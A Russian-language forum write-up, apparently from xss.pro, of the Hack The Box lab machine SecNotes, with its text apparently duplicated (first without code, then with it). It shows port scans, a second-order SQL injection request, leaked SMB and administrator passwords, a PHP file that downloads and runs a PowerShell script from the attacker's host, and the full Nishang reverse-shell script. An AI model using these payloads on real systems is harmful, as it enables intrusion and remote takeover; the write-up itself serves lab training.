Пожалуйста, обратите внимание, что пользователь заблокирован
SecNotes не такая уж и старая или новая, почти 100 дней уже есть, по рейтингу трудности ближе к лёгким. Буду весьма краток и больше по делу. Все необходимые сылки в конце.
Изначально мы получаем только ip 10.10.10.97
Сканируем
Самое время через браузер посмотреть на веб
http://10.10.10.97:8808
Ничего интересного
Смотрим другой сервис
А вот и форма авторизации и даже есть регистрация.
Регаемся, заходим, набюдаем
В Запоминаем tyler@secnotes.htb
После долгих и не очень тестов была обнаружена sql
Сылка1
Конечный вектор
Результат
Самое ценное
Теперь разберёмся что это такое
Осмотримся где мы, командой dir и pwd
Понимаем что мы в дире сайта на 8808 порту, а это значит что мы можем что-то попытаться загрузить, и обратиться через браузер.
Я на всякий случай, привычка честно сказать, у меня есть кое что на php, хотя зная что IIS, то можно asp,aspx
Немного мыслей:
Я знаю что это винда.. значит я могу использовать cmd. или PowerShell на чём я и остановился. Я даже кстати не смотрел в сторону чего-то другого. На самом деле для меня это был самый очевидный и самый быстрый вариант.
Задумка такая, я грузу php payload который подгрузит в ps1 скрипт, который даст уже мне PS shell
Может немного запутано звучит, но сейчас всё будет понятно.
для начало php файл название его 11.php
PS script название 1.ps1 сылка2
Как вы заметили мне надо поднять веб сервер на 80 порты, и принимать Шелл на 443
Открываем 2 консоли , там где лежит файл 1.ps1 пишем
nc -lvp 443
В консоле где smbclient
Теперь можем наблюдать
в консоле где запускали web server и listener

Теперь самое время обследовать систему.
Как вы все знайте в WIndows 10 добавили bash, а это значит вектор
Идём в гугл и ищем манула, синтекс простой, bash -c команда
Теперь просто копируем команду, меня ip
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
И завершающая команда

root.txt
7250cde1cab0bbd93fc1edbdc83d447b
сылка1:https://www.hackthis.co.uk/articles/second-order-sql-injections
Сылка2:https://github.com/samratashok/nishang
Почти забыл. Статья только для форуму xss.pro. Больше нигде не размещать,не копировать. до выхода оригинального write-up от команда HTB
Отдельная громадная благодарность и низкий поклон Администрации, разработчиком и всей команде HTB за классные коробки, замечательную атмосферу, за скилл ап и за то что они её сделал, пря мега респект. Кстати, должен сказать что эта лаба качает скилл возможно даже лучше чем offensive-security.com labs
И конечно спасибо админу этого форума.
Изначально мы получаем только ip 10.10.10.97
Сканируем
Полученный результатmasscan -p 1-65535 -e tun0 --rate=600 10.10.10.97
Для более точной информации о сервисах ещё раз сканируемScanning 1 hosts [65535 ports/host]
Discovered open port 445/tcp on 10.10.10.97
Discovered open port 80/tcp on 10.10.10.97
Discovered open port 8808/tcp on 10.10.10.97
Результатnmap -sV 10.10.10.97 -p 80,22,8808
имеем IIS 10, два веба на разных портах и ещё что-то80/tcp open http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: HTB)
8808/tcp open http Microsoft IIS httpd 10.0
Самое время через браузер посмотреть на веб
http://10.10.10.97:8808
Ничего интересного
Смотрим другой сервис
А вот и форма авторизации и даже есть регистрация.
Регаемся, заходим, набюдаем
В Запоминаем tyler@secnotes.htb
После долгих и не очень тестов была обнаружена sql
Сылка1
Конечный вектор
Код:
POST /register.php HTTP/1.1
Host: 10.10.10.97
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.97/register.php
Cookie: PHPSESSID=t6mnu2selge8r9b20bftbqj8cd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
username='+or+1=1#&password='+or+1=1#&confirm_password='+or+1=1#
Самое ценное
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&
Теперь разберёмся что это такое
\\secnotes.htb\new-site
10.10.10.97 дириктория
Помните что-то непонятное на 445 порту:tyler / 92g!mA8BGjOirkL%OG*&
имя пароль
Водим пароль:92g!mA8BGjOirkL%OG*&smbclient -U tyler -L \\\\10.10.10.97\\new-site
Осмотримся где мы, командой dir и pwd
Код:
smb: \> dir
. D 0 Fri Nov 23 10:56:24 2018
.. D 0 Fri Nov 23 10:56:24 2018
iisstart.htm A 696 Thu Jun 21 11:26:03 2018
iisstart.png A 98757 Thu Jun 21 11:26:03 2018
mmm D 0 Fri Nov 23 10:56:39 2018
netcat.exe A 61440 Fri Nov 23 10:53:57 2018
12978687 blocks of size 4096. 8012195 blocks available
smb: \> pwd
Current directory is \\10.10.10.97\new-site\
smb: \>
Я на всякий случай, привычка честно сказать, у меня есть кое что на php, хотя зная что IIS, то можно asp,aspx
Немного мыслей:
Я знаю что это винда.. значит я могу использовать cmd. или PowerShell на чём я и остановился. Я даже кстати не смотрел в сторону чего-то другого. На самом деле для меня это был самый очевидный и самый быстрый вариант.
Задумка такая, я грузу php payload который подгрузит в ps1 скрипт, который даст уже мне PS shell
Может немного запутано звучит, но сейчас всё будет понятно.
для начало php файл название его 11.php
PHP:
<?php
echo system("powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.81/1.ps1')");?>
JavaScript:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.81 -Port 443
Открываем 2 консоли , там где лежит файл 1.ps1 пишем
В другойpython -m SimpleHTTPServer 80
nc -lvp 443
В консоле где smbclient
B последняя командаsmb: \> put 11.php
putting file 11.php as \11.php (0.1 kb/s) (average 0.1 kb/s)
smb: \>
Теперь можем наблюдать
в консоле где запускали web server и listener

Теперь самое время обследовать систему.
После долгих поисков и безуспешный попыток подключится к БД, я нашёл этот вектор, но должен признать мне подсказали что с этим делать, Ах, на самом деле очень стыдно. Но блин,
Идём в гугл и ищем манула, синтекс простой, bash -c команда
А теперь самое интересное. О чём я писал под спойлеромbash -c whoami
root
Результатbash -c ' cat /root/.bash_history '
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history
exitls -al /
cd /mnt
ls -al
cd c
ls -al
history
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
ls -al
cd Users
ls -al
chown -R root Administrator
chmod -R 777 /mnt/c
Теперь просто копируем команду, меня ip
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
И завершающая команда
и получаем наш флагget \Users\Administrator\Desktop\root.txt

root.txt
7250cde1cab0bbd93fc1edbdc83d447b
сылка1:https://www.hackthis.co.uk/articles/second-order-sql-injections
Сылка2:https://github.com/samratashok/nishang
Почти забыл. Статья только для форуму xss.pro. Больше нигде не размещать,не копировать. до выхода оригинального write-up от команда HTB
Отдельная громадная благодарность и низкий поклон Администрации, разработчиком и всей команде HTB за классные коробки, замечательную атмосферу, за скилл ап и за то что они её сделал, пря мега респект. Кстати, должен сказать что эта лаба качает скилл возможно даже лучше чем offensive-security.com labs
И конечно спасибо админу этого форума.
Последнее редактирование: